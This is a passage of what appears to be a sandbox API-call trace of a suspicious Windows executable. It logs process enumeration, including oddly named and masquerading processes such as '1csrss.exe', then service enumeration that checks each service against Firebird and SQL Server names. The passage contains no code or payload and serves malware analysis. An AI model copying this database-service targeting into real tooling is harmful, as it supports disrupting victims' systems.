out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.399] lstrlenW (lpString="explorer.exe") returned 12 [0119.399] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0119.400] lstrlenW (lpString="Memory Compression") returned 18 [0119.400] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0119.401] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0119.401] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0119.401] lstrlenW (lpString="SearchUI.exe") returned 12 [0119.401] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0119.402] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0119.402] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0119.408] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0119.408] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0119.409] lstrlenW (lpString="taskhostw.exe") returned 13 [0119.409] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0119.410] lstrlenW (lpString="UsoClient.exe") returned 13 [0119.410] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0119.411] lstrlenW (lpString="taskhostw.exe") returned 13 [0119.411] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0119.411] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0119.411] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0119.412] lstrlenW (lpString="msoia.exe") returned 9 [0119.412] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0119.413] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0119.413] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0119.413] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0119.413] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0119.414] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0119.414] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0119.415] lstrlenW (lpString="arc obviously.exe") returned 17 [0119.415] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0119.416] lstrlenW (lpString="scholars.exe") returned 12 [0119.416] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0119.417] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0119.417] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0119.417] lstrlenW (lpString="organizing.exe") returned 14 [0119.417] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0119.418] lstrlenW (lpString="campus.exe") returned 10 [0119.418] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0119.419] lstrlenW (lpString="mug.exe") returned 7 [0119.419] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0119.420] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0119.420] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0119.420] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0119.421] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0119.421] lstrlenW (lpString="powers mixture.exe") returned 18 [0119.421] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0119.422] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0119.422] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0119.423] lstrlenW (lpString="bachelor.exe") returned 12 [0119.423] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0119.424] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0119.424] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0119.424] lstrlenW (lpString="indication wage paying.exe") returned 26 [0119.424] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0119.425] lstrlenW (lpString="thee pub emission.exe") returned 21 [0119.425] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0119.426] lstrlenW (lpString="dllhost.exe") returned 11 [0119.426] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0119.427] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0119.427] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0119.428] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0119.428] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0119.429] lstrlenW (lpString="upgrading.exe") returned 13 [0119.429] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0119.430] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0119.430] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0119.431] lstrlenW (lpString="russell.exe") returned 11 [0119.431] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.432] lstrlenW (lpString="conhost.exe") returned 11 [0119.432] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.432] lstrlenW (lpString="conhost.exe") returned 11 [0119.432] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.433] lstrlenW (lpString="svchost.exe") returned 11 [0119.433] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0119.434] lstrlenW (lpString="1csrss.exe") returned 10 [0119.434] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0119.435] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0119.435] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.436] lstrlenW (lpString="conhost.exe") returned 11 [0119.436] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.437] lstrlenW (lpString="cmd.exe") returned 7 [0119.437] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.438] lstrlenW (lpString="conhost.exe") returned 11 [0119.438] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.439] lstrlenW (lpString="svchost.exe") returned 11 [0119.439] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0119.439] lstrlenW (lpString="mode.com") returned 8 [0119.439] Process32NextW (in: hSnapshot=0x368, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0119.440] CloseHandle (hObject=0x368) returned 1 [0119.440] Sleep (dwMilliseconds=0x1f4) [0119.974] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eee30 [0119.974] EnumServicesStatusExW (in: hSCManager=0x5eee30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0119.974] GetLastError () returned 0xea [0119.974] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x6110e0 [0119.975] EnumServicesStatusExW (in: hSCManager=0x5eee30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6110e0, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6110e0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0119.975] CloseServiceHandle (hSCObject=0x5eee30) returned 1 [0119.975] lstrlenW (lpString="Appinfo") returned 7 [0119.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0119.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0119.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0119.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0119.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0119.976] lstrlenW (lpString="AppXSvc") returned 7 [0119.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0119.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0119.976] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0119.976] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0119.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0119.976] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0119.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.976] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0119.976] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0119.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0119.976] lstrlenW (lpString="Audiosrv") returned 8 [0119.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0119.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0119.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0119.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0119.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0119.976] lstrlenW (lpString="BFE") returned 3 [0119.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0119.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0119.976] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0119.976] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0119.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0119.976] lstrlenW (lpString="BITS") returned 4 [0119.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0119.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0119.976] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0119.976] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0119.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0119.976] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0119.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0119.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0119.976] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0119.977] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0119.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0119.977] lstrlenW (lpString="CDPSvc") returned 6 [0119.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0119.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0119.977] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0119.977] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0119.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0119.977] lstrlenW (lpString="ClickToRunSvc") returned 13 [0119.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0119.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0119.977] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0119.977] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0119.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0119.977] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0119.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0119.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0119.977] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0119.977] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0119.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0119.977] lstrlenW (lpString="CryptSvc") returned 8 [0119.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0119.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0119.977] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0119.977] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0119.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0119.977] lstrlenW (lpString="DcomLaunch") returned 10 [0119.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0119.977] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0119.977] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0119.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0119.977] lstrlenW (lpString="DeviceAssociationService") returned 24 [0119.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0119.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0119.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0119.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0119.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0119.978] lstrlenW (lpString="Dhcp") returned 4 [0119.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0119.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0119.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0119.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0119.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0119.978] lstrlenW (lpString="Dnscache") returned 8 [0119.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0119.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0119.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0119.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0119.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0119.978] lstrlenW (lpString="DoSvc") returned 5 [0119.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0119.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0119.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0119.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0119.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0119.978] lstrlenW (lpString="DPS") returned 3 [0119.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0119.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0119.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0119.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0119.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0119.978] lstrlenW (lpString="DusmSvc") returned 7 [0119.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0119.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0119.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0119.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 